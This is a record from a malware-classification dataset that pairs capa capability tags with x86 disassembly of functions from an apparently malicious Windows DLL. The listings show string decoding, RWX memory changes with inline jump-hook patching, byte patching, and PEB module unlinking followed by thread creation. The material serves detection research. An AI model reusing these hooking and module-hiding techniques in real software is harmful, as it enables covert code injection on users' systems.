joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100131d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d021
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1006b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10074870]
test eax, eax
jne 0x1001336d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006beec]
movaps xmm0, xmmword [0x10061550]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xd5
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x2848]
test al, 1
jne 0x1001328c
or eax, 1
mov dword [esi + 0x2848], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2a55], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x2a44], al
add ecx, 1
adc edx, 0
jne 0x10013278
cmp ecx, 0x11
jb 0x10013260
push 0x10056ff0
call fcn.1004a6df
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2a44]
mov ecx, edi
call fcn.10044db0
mov eax, dword [esi + 0x25d0]
mov dword [ebp - 0x20], 0xe42d6a82
mov dword [ebp - 0x1c], 0x3b05f66b
mov dword [ebp - 0x18], 0xad0f4fb1
test al, 1
jne 0x1001330c
or eax, 1
mov dword [esi + 0x25d0], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2af4], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2ae8], al
add ecx, 1
adc edx, 0
jne 0x100132f8
cmp ecx, 0xc
jb 0x100132e0
push 0x10057040
call fcn.1004a6df
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2ae8]
mov ecx, esi
call fcn.10044e10
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013366
push 7
call fcn.1004a636
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013368
xor eax, eax
mov dword [0x10074870], eax
push dword [ebp + 0x10]
mov dword [0x10070f24], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10049dd9
mov esp, ebp
pop ebp
ret
Function at 0x100133a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d0b1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1006b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1007481c]
test eax, eax
jne 0x1001353d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006beec]
movaps xmm0, xmmword [0x100617a0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xe1
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x22d4]
test al, 1
jne 0x1001345c
or eax, 1
mov dword [esi + 0x22d4], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1aa9], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1a98], al
add ecx, 1
adc edx, 0
jne 0x10013448
cmp ecx, 0x11
jb 0x10013430
push 0x10057090
call fcn.1004a6df
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1a98]
mov ecx, edi
call fcn.10044cf0
mov eax, dword [esi + 0x874]
mov dword [ebp - 0x20], 0xca4ba2b6
mov dword [ebp - 0x1c], 0x3189f60f
mov dword [ebp - 0x18], 0x83698785
test al, 1
jne 0x100134dc
or eax, 1
mov dword [esi + 0x874], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x21e8], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x21dc], al
add ecx, 1
adc edx, 0
jne 0x100134c8
cmp ecx, 0xc
jb 0x100134b0
push 0x100570e0
call fcn.1004a6df
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x21dc]
mov ecx, esi
call fcn.10044d50
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013536
push 7
call fcn.1004a636
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013538
xor eax, eax
mov dword [0x1007481c], eax
push dword [ebp - 0x30]
mov dword [0x100706a4], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10049dd9
mov esp, ebp
pop ebp
ret
Function at 0x10013570
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d141
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1006b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x10074880]
test eax, eax
jne 0x1001370d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006beec]
movaps xmm0, xmmword [0x10061de0]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x8148591b
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x1324]
test al, 1
jne 0x1001362c
or eax, 1
mov dword [esi + 0x1324], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x470], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x45c], al
add ecx, 1
adc edx, 0
jne 0x10013618
cmp ecx, 0x14
jb 0x10013600
push 0x10057130
call fcn.1004a6df
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x45c]
mov ecx, edi
call fcn.10044c30
mov eax, dword [esi + 0x1fb4]
mov dword [ebp - 0x1c], 0xc8637c28
mov dword [ebp - 0x18], 0x9505a005
mov dword [ebp - 0x14], 0x8141591b
test al, 1
jne 0x100136ac
or eax, 1
mov dword [esi + 0x1fb4], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2a3c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x2a30], al
add ecx, 1
adc edx, 0
jne 0x10013698
cmp ecx, 0xc
jb 0x10013680
push 0x10057180
call fcn.1004a6df
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2a30]
mov ecx, esi
call fcn.10044c90
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013706
push 7
call fcn.1004a636
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013708
xor eax, eax
mov dword [0x10074880], eax
push ebx
mov dword [0x10071864], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10049dd9
mov esp, ebp
pop ebp
ret
Function at 0x1001f070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006b00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1007258c], 0
push esi
push edi
jle 0x1001f0da
mov ecx, dword [0x10070afc]
mov eax, dword [0x10073044]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x1001f0da
mov ecx, dword [0x10070afc]
mov eax, dword [0x10073044]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1001f11a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x1001f10e
mov ecx, dword [0x10070afc]
mov eax, dword [0x10073044]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1001f11a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10049dd9
mov esp, ebp
pop ebp
ret
Function at 0x10021080
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d9b1
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1006b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006beec]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10074848]
cmp eax, dword [ecx + 0xc]
jle 0x10021115
push 0x10074848
call fcn.1004a0f3
add esp, 4
cmp dword [0x10074848], 0xffffffff
jne 0x10021115
mov dword [ebp - 4], 0
mov ecx, dword [0x10070afc]
mov eax, dword [0x10073044]
add eax, 0x148
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x10074848
mov dword [0x100747fc], eax
call fcn.1004a0a9
add esp, 4
mov ecx, dword [0x10070afc]
mov eax, dword [0x10073044]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x100211a4
cmp dword [0x10072564], 0
je 0x100211a4
mov eax, dword [0x10073044]
mov ecx, dword [eax + 0x298]
mov eax, dword [0x100719b0]
mov ecx, dword [eax + ecx]
call fcn.10014a20
mov esi, eax
test esi, esi
je 0x100211a4
mov ecx, dword [0x10070afc]
push 0x10071db4
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x100211a4
mov edx, dword [0x100710b8]
add edx, eax
cmp edx, eax
jbe 0x100211a4
mov ecx, esi
call edx
test eax, eax
jle 0x100211a4
mov edi, dword [0x100747fc]
cmp edi, 0x1000
jbe 0x100211d5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x100211c9
mov edi, dword [0x100747fc]
cmp edi, 0x1000
jbe 0x100211d5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10049dd9
mov esp, ebp
pop ebp
ret
Function at 0x100211f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006b00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x10070afc]
mov eax, dword [0x10073044]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x10070afc]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x10073044]
je 0x1002125a
add eax, 0x150
cmp dword [0x10071724], 0
push eax
je 0x10021260
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002128d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10021281
add eax, 0x150
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002128d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10049dd9
mov esp, ebp
pop ebp
ret

Function at 0x10021800
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x10072a34], 0
jne 0x10021863
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x10060890]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10021833
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x10021816
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x10072a34], 1
mov dword [0x10071e58], eax
add eax, 0x18
mov dword [0x100711d0], eax
mov esp, ebp
pop ebp
ret
Function at 0x10024a00
Capabilities:
Get hostname

Disassembly:
push 0x1006b054
push 0x10071810
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10024910
cmp eax, 1
jne 0x10024a2c
push str.Win_XP
push 0x1006d238
call fcn.10005760
add esp, 8
call fcn.10024910
cmp eax, 2
jne 0x10024a48
push str.Win_Vista
push 0x1006d238
call fcn.10005760
add esp, 8
call fcn.10024910
cmp eax, 3
jne 0x10024a64
push str.Win_7
push 0x1006d238
call fcn.10005760
add esp, 8
call fcn.10024910
cmp eax, 4
jne 0x10024a80
push str.Win_8
push 0x1006d238
call fcn.10005760
add esp, 8
call fcn.10024910
cmp eax, 5
jne 0x10024a9c
push str.Wi_10
push 0x1006d238
call fcn.10005760
add esp, 8
ret
Function at 0x10040310
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10052f23
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1006b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006beec]
mov dword [ebp - 0x1c], 0x4663fc7b
mov dword [ebp - 0x18], 0x6ff9ddd3
mov byte [ebp - 0x14], 0x1f
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x878]
test al, 1
jne 0x100403b5
or eax, 1
mov dword [esi + 0x878], eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x1e79], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x1e70], al
add ecx, 1
adc edx, 0
jne 0x100403a8
cmp ecx, 9
jb 0x10040390
push 0x1005eab0
call fcn.1004a6df
add esp, 4
cmp byte [esi + 0x1e79], 0
lea edi, [esi + 0x1e70]
je 0x100403fd
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov ecx, esi
mov eax, 0x7f07cf1f
and ecx, 7
mov edx, 0x395b9fd
shl ecx, 3
call fcn.1004b080
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x100403f9
cmp esi, 9
jb 0x100403d2
mov byte [edi + 9], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.xxxxxxx____xxx_
push 0x10060cb0
push edi
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10007af0
add esp, 8
mov ebx, eax
push str.xxxxxxxxx
push 0x10060ccc
lea ecx, [ebx + 6]
push edi
mov dword [0x10072a30], ecx
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10007af0
add esp, 8
lea ecx, [eax + 6]
mov dword [0x1006cf14], ecx
test ebx, ebx
je 0x10040461
push ecx
push 0x1003fa40
push ebx
call fcn.10012840
jmp 0x10040488
test eax, eax
je 0x10040473
push ecx
push 0x1003fa60
push eax
call fcn.10012840
jmp 0x10040488
push 0
push 0
push 0
push 0x100402f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10049dd9
mov esp, ebp
pop ebp
ret
Function at 0x100404b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1006b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x1004054e
cmp esi, 0x1000
jbe 0x1004052a
cmp edi, 0x1000
jbe 0x1004052a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.100126e0
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x100405ba
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.100126e0
add esp, 4
cmp esi, 0x1000
jbe 0x100405bd
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x100405ba
cmp esi, 0x1000
jbe 0x10040598
cmp edi, 0x1000
jbe 0x10040598
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.100126e0
add esp, 4
jmp 0x100405b2
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.100126e0
add esp, 4
cmp esi, 0x1000
jbe 0x100405bd
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x100405d4
cmp al, 0x6a
je 0x100405d4
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100404d0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10049dd9
mov esp, ebp
pop ebp
ret
Function at 0x10040b10
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1006b00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10040c12
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10040b97
cmp ecx, edi
jne 0x10040b8e
mov edx, dword [eax + 4]
test edx, edx
je 0x10040b5c
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x10040b5c
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10040b68
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10040b75
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x10040b8e
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x10040b8e
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10040b41
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1002d020
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10040830
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.10049dd9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100411a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x100411cc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x100411ee
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x100411f0
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10041275
jg 0x10041205
test esi, esi
je 0x10041275
test ecx, ecx
jl 0x10041258
jg 0x1004120f
test eax, eax
je 0x10041258
cmp edi, ecx
jg 0x10041223
jl 0x10041219
cmp esi, eax
jae 0x10041223
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x10041275
jg 0x1004125b
test esi, esi
je 0x10041275
jmp 0x1004125b
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10041275
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10041290
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x100412bc
jl 0x100412b0
test esi, esi
jne 0x100412bc
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x100412d5
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x10041315
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x10041315
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x100413cc
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10041340
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x1004138f
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x100413b9
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x10041360
cmp dword [ebp - 4], 0
jbe 0x100413cf
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc